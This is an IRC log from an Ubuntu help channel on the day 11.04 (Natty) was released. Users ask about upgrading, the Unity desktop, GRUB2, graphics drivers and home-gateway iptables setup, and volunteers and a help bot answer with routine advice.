[17:01] <thauriswulfa> folks, plz tell me will natty work properly on pentium 4,3ghz ,512 mb ram system
[17:01] <marel> usr13, python IDE called pyCharm
[17:01] <escott> econdudeawesome, thats going to be something with the framebuffer not bash
[17:01] <fizk_> shane4ubuntu, my download is about 50% done. If I quit now, do I start from 0% later on?
[17:01] <econdudeawesome> escott: how do I change that?
[17:01] <escott> econdudeawesome, dunno google for linux framebuffer set color and see what you get
[17:01] <super8> erge
[17:01] <Pici> marel: Have you checked pycharm's support?
[17:02] <ScottR3> how do I remove the top menu bar from my second monitor?
[17:02] <shane4ubuntu> fizk_:  yep, so you decide, ride it out, or start a torrent for the disk, once you have the disk image, and burn it, you shouldn't have to download more stuff right way
[17:02] <usr13> marel: You can't install via the package manager?
[17:02] <escott> marel, a python program probably doesn't have a configure/make. just look for a .py to run
[17:02] <Sonorus> say me please, update 10.10 to 11.04 works correctly ????
[17:02] <Pici> usr13: Its a commercial application
[17:02] <usr13> Pici: O
[17:03] <braadli> anyone managed an offline upgrade to natty yet?
[17:03] <usr13> marel: You need to install build-essentials and kernel-headers
[17:03] <escott> mang0, its very strange that it can't find the disks. when you boot the livecd and run gparted does it not see your disks?
[17:03] <shane4ubuntu> Sonorus: really depends on the situation, how much extra applications you have installed, and where you installed them from.
[17:03] <mang0> escott no it doesn't
[17:03] <mang0> :/
[17:04] <Sonorus> shane4ubuntu: all application from original repository
[17:04] <escott> mang0, can you tell us a bit more about your hardware or pastebin the output from lspci
[17:04] <TheXero> So how is 11.04 support with multi monitor then?
[17:04] <mang0> yeah
[17:04] <shane4ubuntu> Sonorus: then you probably have a good chance, however I can't really comment on that since I haven't done that.
[17:04] <mang0> I'm writing that now
[17:04] <TheXero> I'm a little hesitant to upgrade from 10.10
[17:04] <ojii> happy natty everyone
[17:04] <tashkas> does abnybody can help me how to open port on ubuntu 10.10 when eth0=wan and eth1=anotherpc, on eth0 i can watch iptv but on eth1 it dont work!
[17:04] <Sonorus> shane4ubuntu: ok, thx
[17:05] <ojii> i forgot again how I can only download (but not yet install) natty on my 10.10, can anyone help out?
[17:05] <shane4ubuntu> Sonorus: one thing to consider, is the servers are very overloaded so, downloading the upgrade packages will take longer than normal, one person said it took them about 2 hours
[17:05] <sweb> after install my GPU on ubuntu Unity will appear with ubuntu classic top bar. i change it into Ambaince but top menu and another menus will not affect http://up.iranblog.com/images/bltz8oqj0xcfxhbg9664.jpg
[17:05] <Sal9000> oh dear this unity surely is a change... ill try to use it a few days and see if i can survive :P
[17:05] <dcweyh> why is 32 bit recommended over 64 bit?
[17:05] <shane4ubuntu> Sonorus: you could download the alt-desktop disk from torrents and then pop that in and upgrade off the disk, perhaps a faster solution
[17:06] <Moc> What will happen to lost of bug in 11.04 ? will only be fixed with 11.10 ?
[17:06] <Moc> What will happen to all the bug in 11.04 ? will only be fixed with 11.10 ?
[17:06] <Fasa> hello all
[17:06] <GuataPeluda> happy Nasty Naughty
[17:06] <escott> dcweyh, works for everyone no "I tried to install a 64bit version on a 32bit machine"
[17:06] <tashkas> does abnybody can help me how to open port on ubuntu 10.10 when eth0=wan and eth1=anotherpc, on eth0 i can watch iptv but on eth1 it dont work!
[17:06] <mnoyce> Not liking 11.04 at all... Going to give it a chance for a week, but I'm just getting frustrated with it at the moment... :-/
[17:06] <dcweyh> ok thanks
[17:06] <ex0a> if i get a package like zend studio which is a binary package, where should i put the directory so that it's in user's paths according to ubuntu "standards"?
[17:06] <Fasa> can anyone help with PtokaX server on Ubuntu
[17:06] <Moc> see lot of open issue affecting me... wonder if I need just to stick to 10.10 until november
[17:06] <KrisDouglas> mnoyce, you aren't alone
[17:07] <sweb> any body answer me ?
[17:07] <escott> ojii, guessing you would have to switch your apt sources, update and then run a normal download packages, and then revert to the old apt sources and update again
[17:07] <shane4ubuntu> mnoyce: you can switch to the classic desktop if you don't like the desktop
[17:07] <greyhatsalafi> those aren't bugs...those are lack of features
[17:07] <Sonorus> shane4ubuntu: ok, try this way
[17:07] <escott> ex0a, no standard for that. ~/bin is sensible though
[17:07] <Bluebill-Wolf> "	Sidewinder1	Then there is no real need for anti-virus in ubuntu; I've done a lot of reading on the subject...You may wish to read this, it's old but still true: http://ubuntuforums.org/showthread.php?t=510812"
[17:07] <KrisDouglas> greyhatsalafi, Agreed, there is just a total lack of reconfigurability
[17:07] <escott> ex0a, unless you want it for everyone in which case /opt
[17:07] <jubei1> hello, i am trying to setup a home server/gateway using linux server 10.04 and 2 NICS
[17:07]  * LAcan nods at Bluebill-Wolf 
[17:08] <KrisDouglas> jubei1, go ahead.
[17:08] <mnoyce> shane4ubuntu: I could, but I want to give it a try if this the future of the Ubuntu desktop, just to be fair...
[17:08] <usr13> marel: sudo apt-get install build-essential linux-headers
[17:08] <greyhatsalafi> KrisDouglas I don't even use ubuntu anymore...i have it installed on my laptop but i triple boot and my main is now CrunchBang...i recommend it...total control and everything works
[17:08] <ojii> escott, ah, i thought there's a apt-get command to do it :(
[17:08] <shane4ubuntu> mnoyce: understood.
[17:08] <Bluebill-Wolf> well i rather have the conversation privite and then post the ruslts :P
[17:08] <gib0t> it is possible to make that very large menu in 11.04 smaller
[17:09] <mang0> right
[17:09] <LAcan> gib0t, menu editor in system/preferences ?
[17:09] <usr13> jubei1: I would suggest a using firewall generator, or just install firestarter
[17:09] <gib0t> LAcan: thx
[17:09] <mang0> escott: http://www.pasteall.org/21215/text
[17:09] <usr13> jubei1: you can do it by hand but...
[17:09] <graingert> does grub support btrfs?
[17:09]  * LAcan nods at usr13 
[17:10] <KrisDouglas> greyhatsalafi, I would use crunchbang, but i write software for an office FULL of ubuntu machines
[17:10] <KrisDouglas> in fact 2 offices.
[17:10] <greyhatsalafi> oh
[17:10] <ex0a> escott: /opt is more along the lines i was looking for, but seeing as i'm the only desktop user on this machine i think i was asking more to see if there was a standard.. i'll probably just leave it in my ~ somewhere for simplicities sake.. ty!
[17:10] <KrisDouglas> LTSP, the works.
[17:10] <usr13> jubei1: i.e.  http://easyfwgen.morizot.net/gen/
[17:10] <escott> graingert, some of the newer versions might, but i think it is safer to have an ext4 /boot
[17:10] <greyhatsalafi> hehe...well...hopefully Unity gets the features it needs
[17:10] <graingert> k
[17:10] <RealOpty> morning
[17:10] <RealOpty> is 11.04 using gnome 3 ??
[17:10] <KrisDouglas> greyhatsalafi, yeah, i love the way it is going- I just think they might have landed it a bit /too/ early.
[17:10] <Ruuuumb0> who knows is gnome 3 in ubuntu 11.04 ?
[17:10] <escott> graingert, btrfs on / is not something i would recommend. its a painful experience
[17:11] <KrisDouglas> Ruuuumb0, You can install it, but it breaks Unity
[17:11] <jubei1> hello, i am trying to setup a home server/gateway using linux server 10.04 and 2 NICS, from the server i use eth1 to dial PPPoE to router and can ping out to internet from server. I use eth0 to switch to give access to client PC's. from the clients i can be assigned dhcp from server and can ping the server. however i cannot ping the internet, the server is blocking requests(?). i have setup
[17:11] <jubei1> packet-forwarding=1 and have put some rules into iptables, but i messed up the iptables rules... could someone inspect the iptables rules, this is 1st time im doing it, and let me know what they think?
[17:11] <RealOpty> I hope not. its crap
[17:11] <escott> mang0, i need more details, like actual chipsets.
[17:11] <Stameni> RealOpty, no, it use it`s own unity
[17:11] <usr13> jubei1: sure, pastebinit it
[17:11] <mang0> escott, mind if I tab?
[17:11] <greyhatsalafi> KrisDouglas i agree...not ready...but they wanted to push it out to have something to show...so they got the bugs out, but added nothing to make deadline...   I hate right-clicking and getting nothing.
[17:11] <ChronicSyncope> natty is released?
[17:11] <Ruuuumb0> KrisDouglas: ok
[17:11] <escott> mang0, feel free to /msg me
[17:11] <jubei1> usr13: ok let me get on that
[17:11] <Fasa> does any know how install PtokaX and Dixbot  on ubuntu
[17:11] <mang0> what about /query?
[17:12] <mang0> Cuz I can't see /msgs in a sepearte tab
[17:12] <mang0> *seperate
[17:12] <escott> mang0, sure
[17:12] <Fasa> does any know how install PtokaX and Dixbot  on ubuntu
[17:12] <RealOpty> Stameni, is it similar to gnome3?
[17:12] <Stameni> RealOpty, it has similarities
[17:13] <coolaj86> Why does the Ubuntu website look like someone accidentally uploaded a draft version?
[17:13] <Stameni> RealOpty, I will myself try to stick with standard gnome interface
[17:13] <ashmew2> hey , im upgrading to natty , so will that remove gnome completely or can i choose from Unity/Gnome once upgrade finishes ?
[17:13] <Pici> Fasa: Perhaps if you explained what those were we could help you.
[17:13] <Pici> ashmew2: The latter.
[17:13] <Stameni> RealOpty, you can choose what u want to use while logging
[17:13] <coolaj86> Lots of "Marker1, Marker2" stuff, css styles that have pictures blocking text, etc. It looks terrible.
[17:13] <ashmew2> Pici : Thanks ! :D
[17:14] <geekliketodd> woo upgrade day!
[17:14] <ashmew2> yeah :D
[17:14] <PhoenixSTF> i did the upgrade
[17:14] <bittin> same here but on Kubuntu
[17:14] <Pici> coolaj86: Looks fine here.  Feel free submit a bug at http://bugs.launchpad.net/ubuntu-website/ though
[17:14] <gib0t> LAcan: there isn't menu editor
[17:15] <Tak> dear god, somebody please help me configure unity
[17:15] <PhoenixSTF> does natty come with nautilus?
[17:15] <Stameni> Can someone tell me is standard gnome interfece in 11.04 the same as in 10.10 ?
[17:15] <coolaj86> Pici: have you tried something webkit?
[17:15] <escott> PhoenixSTF, yes
[17:15] <Pici> coolaj86: I'm using Chrome right now.
[17:15] <harpal> how to update grub entry in 10.10 it has grub2
[17:15] <LAcan> gib0t, im on 10.10 look for something called "Menu Manager"
[17:15] <usr13> !grub2 | harpal
[17:15] <ubottu> harpal: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[17:16] <escott> gib0t, alacarte
[17:16] <LAcan> harpal, u need to edit the windows partition. can u boot windows?
[17:16] <someone235> i tried to upgrade to 11.04 & got this error: http://pastebin.com/xDYgtdjF . what ca i do to solve it?
[17:16] <PhoenixSTF> escott, hmm drobox isnt working....
[17:16] <usr13> jubei1: Try this:  pastebinit firewall-script
[17:16] <jiohdi> PhoenixSTF: did you try  dropbox start -i
[17:17] <harpal> LAcan: I dont need to boot to windows, I need to change kernel and I have compiled new kernel with some patches
[17:17] <usr13> jubei1: (and send resulting URL)
[17:17] <andeeeuk> everytime i try to upgrade it says to check the internet connection
[17:17] <sam16> guys howz ubuntu 11.04?
[17:17] <coolaj86> Pici: I just hit refresh again and now it looks beautiful. I must have caught it just as it was being updated or had a bad cache of the stylesheet
[17:17] <andeeeuk> though im on it right now
[17:17] <andeeeuk> lol
[17:17] <LAcan> harpal, download "Grub Customizer" it has a PPA .. google it
[17:17] <escott> PhoenixSTF, i've heard about assorted dropbox/nautilus issues, but don't use it myself. if this is post upgrade I would remove dropbox, reinstall nautilius and then reinstall dropbox
[17:17] <OverTheHillAndFa> ehm... i used the prerelease for a while with unity-2d in lack of a working graphical driver. now i got one working. so i started to use unity-3d. but the 2d menu bar overlayed the 3d. actually two bars loaded. so i uninstalled all unity-2d packages and reinstalled unity-3d. but i am not able to get i loaded from the login screen.... help?
[17:18] <mnoyce> Is there anyway to turn off the Apps for Download list?
[17:18] <RealOpty> has anyone used apt-cache-ng to do distupgrade ??
[17:18] <escott> harpal, grub2 autofinds kernels should just be able to drop it in /boot
[17:19] <lwizardl> so in the official release of 11.04 has anyone checked to see if you can right click and select compress on ISO images ?
[17:19] <sam16> is ubuntu 11.04 is recommended for desktop?
[17:19] <Witchsong> Does the Unity interface have a built-in way to enable desktop/visual effects like you could with the GNOME interface?
[17:19] <PhoenixSTF> escott, it is working the icon on the tray is not...
[17:19] <lwizardl> sam16, yes
[17:19] <coolaj86> pici: spoke too soon, I clicked "what's new" and now I'm seeing the same as before
[17:19]  * LAcan recommends 10.10 for the next few months.
[17:19] <raju> sam16:  just for trying ....not for standard use
[17:19] <PhoenixSTF> jiohdi, thank m8 it is working :) icon on tray not so true
[17:19] <KrisDouglas> Witchsong, install compiz config settings manager
[17:19] <coolaj86> but looks fine on my android
[17:19] <sam16> raju : is it ?
[17:19] <jiohdi> PhoenixSTF: np
[17:20] <mikebeecham> I take it I can now upgrade safely with update-manager -d?
[17:20] <harpal> escott: I tried that and then run command update-grub but still entries not updated.
[17:20] <escott> PhoenixSTF, shrug sorry
[17:20] <sam16> so u recommend ubuntu 10.10 only?
[17:20] <RealOpty> has anyone used apt-cache-ng to do distupgrade ??
[17:20] <coolaj86> and a few refreshes later it's fine again...
[17:20] <LAcan> sam16, for the next little while yes. let the nerds work out all the bugs.. im gonna wait for 11.10 personally
[17:20] <Feyisayo> I try to upgrade from Meerkat to Natty and the license says Natty is still beta. Is this supposed to happen?
[17:20] <PhoenixSTF> escott, its ok m8 thanks anyway :)
[17:20] <Thriky> Anyone know if it's a good idea to install the latest available Ubuntu server or should I stick to the LTS releases? How trivial (or not) is updating a non-LTS version as new releases come out? Stupidly non-viable?
[17:21] <ninjai> okay okay, how are you _supposed_ to open multiple file managers in unity?
[17:21] <raju> sam16:  if u wanna try it you can . but still few more fixings need for the latest version .
[17:21] <jiohdi> Feyisayo: its ok, it will gradually update to full version
[17:21] <sam16> raju :so u recommend ubuntu 10.10 only?
[17:21]  * LAcan nods at raju
[17:21] <someone235> upgrade problem -> http://pastebin.com/xDYgtdjF . help pls
[17:21] <PhoenixSTF> anyone knows if natty got more suport on asus eeepc power control?
[17:21] <raju> sam16:  tell me exactly do u wanna go for trying or standard using
[17:21] <escott> harpal, i think it is grub-mkconfig
[17:22] <mnoyce> ninjai: Ctrl+N?
[17:22] <sam16> standard usage
[17:22] <sam16> i want stable os
[17:22] <ninjai> mnoyce, does nothing.
[17:22] <usr13> jubei1: See my private message
[17:22] <skulltip> how is the new beast
[17:22] <LAcan> sam16, 10.04 should be the most stable...
[17:22] <Thriky> Anyone know if it's a good idea to install the latest available Ubuntu server or should I stick to the LTS releases? How trivial (or not) is updating a non-LTS version as new releases come out? Stupidly non-viable? <- sorry meant to add this is for a WEB server
[17:22] <sam16> which work qick and stable
[17:22] <jiohdi> sam16 you might want to look at debian without ubuntu
[17:22] <LAcan> Thriky, stick to it
[17:23] <raju> sam16 go for  10.10
[17:23] <scialen> howdy! I got a no mount /dev/loop0 problem for 11.04
[17:23] <NOC> hmm
[17:23] <LAcan> sam16, ya 10.10 is nice
[17:23] <sam16> currently em having that ...
[17:23] <mnoyce> ninjai: If you have the file manager open, Ctrl+N should open another window.
[17:23] <ninjai> mnoyce, thanks
[17:23] <NOC> somebody ?
[17:23] <LAcan> what NOC?
[17:23] <usr13> jubei1: Or you can email me if you like.
[17:23] <raju> sam16 update it daily
[17:23] <sam16>  thank you guys for ur suggestion
[17:23] <NOC> i cant send email from my page
[17:23] <gaara> i have blank screen after booting into a fresh natty installation
[17:23] <Feyisayo> Anyone here?
[17:23] <NOC> running apache
[17:23] <sam16> ok
[17:23] <gaara> help please
[17:24] <escott> someone235, if none of the exceptions apply to you can you please pastebin the contents of /var/log/dist-upgrade/
[17:24] <NOC> what should i do bro LAcan
[17:24] <LAcan> NOC, thats pretty broad... email from your page?
[17:24] <raju> gaara:  i will try
[17:24] <mnoyce> ninjai: I had the same issue this morning and when trying to open multiple terminal windows. :-/
[17:24] <Tak> oh good, my compiz settings got deleted
[17:24] <NOC> i mean .. its a contact form
[17:24] <LAcan> NOC, #apache
[17:24] <gaara> raju, thanks..is there info i can give you to fix it?
[17:24] <Wickk> Ok so I just reinstalled the propietary driver my ATI card and i'm still not getting my window decorations drawn in Unity
[17:24] <LAcan> !apache
[17:24] <ubottu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[17:24] <sam16> i need all features of 11.04 in ma 10.04  can u guys tell which all software i should upgrade
[17:24] <NOC> already done that
[17:24] <someone235> pre-release means beta\RC version?
[17:24] <LAcan> NOC, #apache
[17:24] <escott> NOC, you need to test if your smtp server is working, and then test if your php code is working
[17:24] <NOC> yes
[17:25] <NOC> escott : my ubuntu is fresh
[17:25] <gib0t> that menu in 11.04 is very unconfortable to manage I need 6 klicks for something I needed 2 before
[17:25] <mnoyce> Does anyone know if there's any way to turn off the Apps for Download list thingy?
[17:25] <cgtdk> gib0t: http://xubuntu.org ;)
[17:25] <NOC> how to do smtp in a correct way?
[17:25] <gib0t> cgtdk: I think I have to change
[17:25] <jiohdi> gib0t: you can switch to any other desktop like kde or xfce
[17:25] <escott> NOC, try #ubuntu-server
[17:25] <LAcan> !smtp | NOC
[17:25] <ubottu> NOC: Ubuntu supports the Simple Mail Transfer Protocol (SMTP) and provides mail server software of many kinds. You can install a basic email handling configuration with the "Mail server" task during installation, or with the "tasksel" command. See also https://help.ubuntu.com/community/MailServer and https://help.ubuntu.com/10.04/serverguide/C/email-services.html
[17:25] <usr13> NOC: telnet ?
[17:25] <raju> gaara i am here only
[17:26] <NOC> thanks
[17:26] <gaara> raju , i'm a little desparate in trying to get this to work...
[17:26] <gib0t> jiohdi: I know that but I like it to see how the new ideas for desktop are
[17:26] <someone235> escott, /var/log/dist-upgrade/ gots a lot of files
[17:26] <jiohdi> gib0t: unity is still a work in progress
[17:26] <someone235> should i paste any specific file?
[17:26] <ray_> This really puts long-term support into perspective: http://www.ubuntu.com/business/desktop/long-term-support
[17:26] <scialen> I got a problem for 11.04 - can not mount /dev/loop0 to //filesystem.squashfs due to  an I/O error.
[17:26] <ray_> bye
[17:27] <bittin> bye
[17:27]  * LAcan is happy that he can use the internet off his BB thru bluetooth so painlessley in 10.10. Very impressed.
[17:27] <usr13> gaara: no login option?
[17:27] <escott> someone235, well the log of the problem is somewhere in there. if you can look through those files to identify any problems
[17:27] <damiano__> guys if i set the document root as /home/lighttpd/vhosts/website.com/httpdocs(lighttpd) what path do i have to use on the chroot= option(PHP-FPM) ? thanks
[17:27] <usr13> gaara: Try:   Ctrl-Alt-F6
[17:28] <Feyisayo> Thanks jiohdi
[17:28] <skulltip> any first takes on 11.04?
[17:28] <Alterno> Greeetings, I ran the update manager, but just found a few updates available and nothing about upgrading from beta 2 to stable. what's going on?
[17:28] <mnoyce> skulltip: It's different...
[17:29] <jiohdi> skulltip: a lot of things that did not work for me in 10.10 now work... like I can use docky with non-compositing desktops
[17:29] <someone235> E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.' - what 'held packages' means?
[17:29] <OfficiallyPC> Alterno: Did you try update-manager -d
[17:29] <gib0t> it is possible to show in the unity startmenu more und smaller icons
[17:29] <mnoyce> skulltip: Feels very... clunky and awkward at the moment. But it's only been a few hours in the driving seat.
[17:30] <skulltip> if i upgrade from 10.10, besides backups, does it preserve my current home folder, custom directories and games I've copied?
[17:30] <Alterno> @Officialllypclet me try to run  that command
[17:30] <gib0t> i think than it is easier to handle on big screens with big resolution
[17:31] <jiohdi> skulltip: your home directory stays the same... you can also make a second user and directory and play around in it without disturbing your first
[17:31] <OfficiallyPC> Alterno: Any luck?
[17:31] <skulltip> mnoyce - still have to turn off compiz to play fps's well?
[17:31] <LAcan> does kismet have a proper GUI? like a gnome interface?
[17:31] <skulltip> ..or drop the effects to basic
[17:31] <damiano__> guys if i set the document root as /home/lighttpd/vhosts/website.com/httpdocs(lighttpd) what path do i have to use on the chroot= option(PHP-FPM) ? thanks
[17:31] <gaara> i'm having screen backlight problem after installation of natty! someone help! screen is almost pitch dark! though i know it boots in!
[17:31] <mnoyce> skulltip: Don't play that many games, to be honest, so I cannot help you there.
[17:32] <Alterno> Shows that there's not updates available, says system is updated
[17:32] <damiano__> someon could help me?
[17:32] <Guest31762> hey all here is the question, I have a OSX Leopard hard drive as my second drive and ubuntu 10.10 see's it great but I cant change the permissions and it says invalid partition table
[17:32] <Alterno> how do I check if my system still running beta?
[17:32] <gtklocker> hello, I need some help with ubuntu; I try to install it on a desktop via CD and every version of it I've tried installs some things and then says "Please insert the disk labeled Karmic Koala blabla"; whatever I press nothing happens - any idea?
[17:32] <mnoyce> skulltip: First time I've used Compiz for a few releases.
[17:32] <LAcan> gtklocker, where are you getting your CD's from?
[17:32] <jiohdi> Alterno: if you were running beta it will just upgrade to full eventually no worries
[17:32] <skulltip> cool, thanks mnoyce
[17:33] <Alterno> ok
[17:33] <gtklocker> LAcan: burning the isos but I've even tried with some shipped 6.06 that still didn't work
[17:33] <LAcan> gtklocker, FROM WHERE?
[17:33] <gtklocker> LAcan: TDK CD-Rs or DVD-RWs
[17:34] <root> bnmnb,
[17:34] <gtklocker> LAcan: the isos from ubuntu.com
[17:34] <escott> Guest31762, mac uses gpt not dos partition types. it shouldn't be giving you that error but gdisk can verify the gpt partition type
[17:34] <Guest35532> mnb,mnb,
[17:34] <Guest31762> ty escott
[17:35] <LAcan> gtklocker, karmic koala seems like old software. get a 10.10 ISO and use that
[17:35] <Guest35532> work lan
[17:35] <Dominater> if i install will xfce will run faster than gnome on ubuntu?
[17:35] <LAcan> Dominater, why wouldnt u just install xubuntu?
[17:35] <rumpe1> Dominater: not much
[17:36] <mnoyce> Ctrl+W makes switching between Apps on Desktops a lot easier...
[17:36] <gtklocker> LAcan: I have tried with 11.04, 10.04, 10.10, same shit
[17:36] <rad4Christ> Anyone here familiar with Likewise Open?
[17:36] <vooze> if i used to have beta2, if i dist-upgrade now, will i get final?
[17:36] <mnoyce> Oops! I meant Super+W makes switching between Apps on Desktops a lot easier...
[17:36] <Eduard> guys, does anybody know, if broken dependency  problem with nvidia-96 was fixed in 11.04?
[17:36] <Guest35532> how i instal smeserver
[17:36] <OverTheHillAndFa> unity will not load at login... how to fix? it starts fine from terminal
[17:36] <LAcan> gtklocker, what are you picking as your GUI? have u tried just using the default (gnome)?
[17:37] <gtklocker> LAcan: I have tried with the desktop and alternative versions, all same shit
[17:37] <Dominater> because my laptop runs very hot when i run gnome so i need to try something light on it
[17:37] <LAcan> Eduard, they are up to nvidia 173 now... but i dont know if thats for your card or what...
[17:37] <josephnexus> in natty, when I enable dual screen, my system becomes nearly unresponsive.  I have an nvidia 8800... should be fine
[17:37] <gtklocker> LAcan: and while I could make a custom installation with say Arch Linux I don't know if it's possible with ubuntu
[17:37] <jubei1> Guest1496740: download the iso from the website, burn, and put it in the cdrom drive to install.
[17:38] <narwhaller> Is anyone else having trouble with enabling unity?
[17:38] <josephnexus> looks like it installed the wrong driver by default
[17:38] <ManDay> Does 11.04 still have a netbook version?
[17:38] <hypetech> narwhaller: should be enabled by default
[17:38] <josephnexus> manday, no
[17:38] <ManDay> ok
[17:38] <hypetech> ManDay: no
[17:38] <ManDay> ty
[17:38] <mnoyce> ManDay: No. The netbook and desktop versions are now one and the same.
[17:39] <jubei1> hello, i am trying to setup a home server/gateway using linux server 10.04 and 2 NICS, from the server i use eth1 to dial PPPoE to router and can ping out to internet from server. I use eth0 to switch to give access to client PC's. from the clients i can be assigned dhcp from server and can ping the server. however i cannot ping the internet, the server is blocking requests(?). i have setup
[17:39] <jubei1> packet-forwarding=1 and have put some rules into iptables, but i think i messed up the iptables rules... could someone inspect the iptables rules, this is 1st time im doing it, and let me know what they think?
[17:39] <Planet_EN> my gnome-network-manager keeps saying ethernet device is not managed? i removed eth0 from the wired interface how do i add it back?
[17:39] <narwhaller> hypetech: It should, but I had to install proprietary drivers, so it booted into default gnome, and now it won't switch to unity. when I run 'unity' in the terminal, the computer freezes
[17:39] <OverTheHillAndFa> narwhaller: probably a driverproblem if you have a clean install
[17:39] <ManDay> mnoyce: i thought so
[17:39] <tashkas> does ubuntu on shared connection transfare by default igmp protocol?
[17:40] <OverTheHillAndFa> narwhaller: if there is more than one proprietary driver in the list try another one
[17:40] <narwhaller> OverTheHillAndFa: Alright, thanks for the advice!
[17:40] <ScreenIssues> Problem: Ubuntu installer was not running (screen too dim to read). Used alternate installer as suggested by someone here. I'm finally up and running, but my screen is too dim to be useable. Fn+Fx keys pull up brightness indicator, but do nothing.
[17:41] <Planet_EN> hello?
[17:41] <escott> Planet_EN, iwconfig eth0 mode Auto
[17:41] <econdudeawesome> So I'm still trying to figure out how to change my TTY shell background color from purple to black. I've removed my GUI and used rcconf to turn off Xserver and GDM. Anyone know how to do this? escott has helped me a bit, but I think we've both run out of ideas.
[17:42] <djhaskin987> madj42: You were right. MMF Registration failure in the logs when installing SMP. I found this article http://www.symantec.com/docs/TECH42343  which presumably talks about it.
[17:42] <ChronicSyncope> how hard is it to revert back to the 10.10 gnome?
[17:42] <Witchsong> I did something, and now Windows + A and Windows + F key combinations don't open Find Applications/Find Files anymore.
[17:42] <Witchsong> :S
[17:42] <mnoyce> Webupd8 (http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html) has some nice tweeks. I've turned off the new scrollbars as: A) Not all Apps support them, and B) I just prefer proper scollbars.
[17:42] <sagaci> ChronicSyncope, login to classic gnoem
[17:42] <sagaci> gnome*
[17:42] <ChronicSyncope> sagaci, okay, i haven't done the upgrade yet.
[17:42] <ChronicSyncope> sagaci, thanks though, i wanted to know before I did it.
[17:43] <jester7> I see on the website, the new "dash" for natty is not fullscreen.  It is on mine, how to I resize the dash?
[17:43] <Planet_EN> escott: it says: Error for wireless request "Set Mode" (8B06) : SET failed on device eth0 ; Operation not supported.
[17:43] <John_Gate> When buying a new laptop to use with natty narwhal, is it best to chose intel or amd processor? And amd, nvidia or intel graphics? I mean, does ubuntu run better with some cpus/gpus?
[17:43] <nonix4> ChronicSyncope: well trying it in VM complained about missing hw support and did that classic gnome by default; guess login screen will also have option for selecting that.
[17:44] <escott> Planet_EN, is eth0 ethernet or wireless
[17:44] <Planet_EN> escott: wireless is connected
[17:44] <compdoc> John_Gate, amd or intel are fine. I use AMD for servers running virtual machines. tends to cost a lot less
[17:44] <ChronicSyncope> nonix4, yeah this is just netbook unity
[17:44] <ChronicSyncope> nonix4, which you can turn off when logging in
[17:44] <John_Gate> compdoc: I see!
[17:45] <ChronicSyncope> wow my harddrive is making a scary noise from this update
[17:45] <ChronicSyncope> i hope it's not the end
[17:45] <mah454> PLEASE FIX "WWW.UBUNTU.COM" WEB SITE ... !
[17:45] <mah454> PLEASE FIX "WWW.UBUNTU.COM" WEB SITE ... !
[17:45] <compdoc> mah454, whats wrong with it?
[17:45] <ChronicSyncope> mah454, what is wrong with it
[17:45] <josephnexus> mah454: what's wrong with it?
[17:45] <compdoc> heh
[17:45] <josephnexus> it's working fine for me
[17:45] <mikebot> Could someone please explain to me how the ubuntu windows installer works? Does it install ubuntu on the same partition as windows? And does it run ubuntu like a program?
[17:45] <narwhaller> Okay, I reinstalled, a different graphics driver, checked 'ubuntu' at log in, and I'm still not getting unity. None of the compiz effects are working either. Is there any simple way to activate unity?
[17:45] <raju> me too
[17:45] <escott> Planet_EN, is it wired or wireless
[17:45] <econdudeawesome> So I'm still trying to figure out how to change my TTY shell background color from purple to black. I've removed my GUI and used rcconf to turn off Xserver and GDM. Anyone know how to do this? escott has helped me a bit, but I think we've both run out of ideas.
[17:46] <jester7> I see on the website, the new "dash" for natty is not fullscreen.  It is on mine, how to I resize the dash?
[17:46] <m_fulder> how come htop and free show different memory usage?? :O
[17:46] <raju> mikebot its very easy man
[17:46] <jrib> econdudeawesome: what version of ubuntu is this?
[17:46] <escott> mikebot, do you mean wubi?
[17:46] <mikebot> escott: Yeah
[17:46] <econdudeawesome> jrib: 10.10
[17:46] <raju> escott:  i think s
[17:46] <rach0> mikebot, yes it does, it creates a virtual disk, installation and uninstallation of wubi/ubuntu is like regular windows app
[17:46] <flipp> mikebot it creates a image file on your btfs partition in windows. then you reboot and can boot ubuntu but all changes you make are stored in this .disk file. if you dont like ubuntu anymore you can just uninstall like a programm
[17:46] <ChronicSyncope> mikebot, it installs in windows LIKE a program, but runs separately like an OS. No partitioning involved.
[17:46] <jrib> econdudeawesome: that's a bit confusing.  You can't disable X using rcconf
[17:47] <raju> !wubi | mikebot
[17:47] <ubottu> mikebot: Wubi is an Ubuntu installer for Windows users that allows you to install and uninstall Ubuntu like a Windows application, in a simple and safe way. http://wubi-installer.org/support.php and https://wiki.ubuntu.com/WubiGuide for troubleshooting. Please  file bugs at http://launchpad.net/wubi/+filebug. For Ubuntu Maverick/10.10 http://releases.ubuntu.com/maverick/wubi.exe
[17:47] <mikebot> ChronicSyncope: So if I boot into Ubuntu, Windows will not be loaded, correct?
[17:47] <jstoone> hey guys I was wondering if you can recommend any desktop recorder that works well with 11.04?
[17:47] <ChronicSyncope> mikebot, correct
[17:47] <econdudeawesome> jrib: I uninstalled X. I want to work directly in the command line. But I'm trying to change the default background color--it persists to the tty shells
[17:47] <escott> mikebot, wubi is a bit hairy. it creates a file on the ntfs (windows filesystem) and then somehow boots ubuntu with a loopback into that file. most people prefer using a virtual machine, or a straight install to the hard disk
[17:47] <Hedgehog456> !natty > Hedgehog456
[17:47] <ubottu> Hedgehog456, please see my private message
[17:47] <vooze> What is the easyest way to upgrade from beta2 to final??
[17:47] <jrib> econdudeawesome: why did you say you used rcconf?
[17:47] <mikebot> ChronicSyncope: Thank you
[17:47] <rumpel1> vooze, apt-get upgrade
[17:47] <ChronicSyncope> mikebot, no problem
[17:47] <josephnexus> vooze: just run your updates
[17:48] <mah454> compdoc can i send screenshot  for you ?
[17:48] <tim> grub2 doesn't boot windows7. however, he recognizes the partition and adds it to the menu. when i try to boot it, nothing but a cursor appears. what's wrong?
[17:48] <Bluebill-Wolf> btw how do i defrag my hard drive in ubuntu?
[17:48] <mikebot> escott: Lenovo ideapads come with like 4 partitions already, so I cannot create another to install ubuntu to dual boot
[17:48] <econdudeawesome> jrib: I used rcconf to turn off X-something, it's one of the options. But i'd already uninstalled portions of it
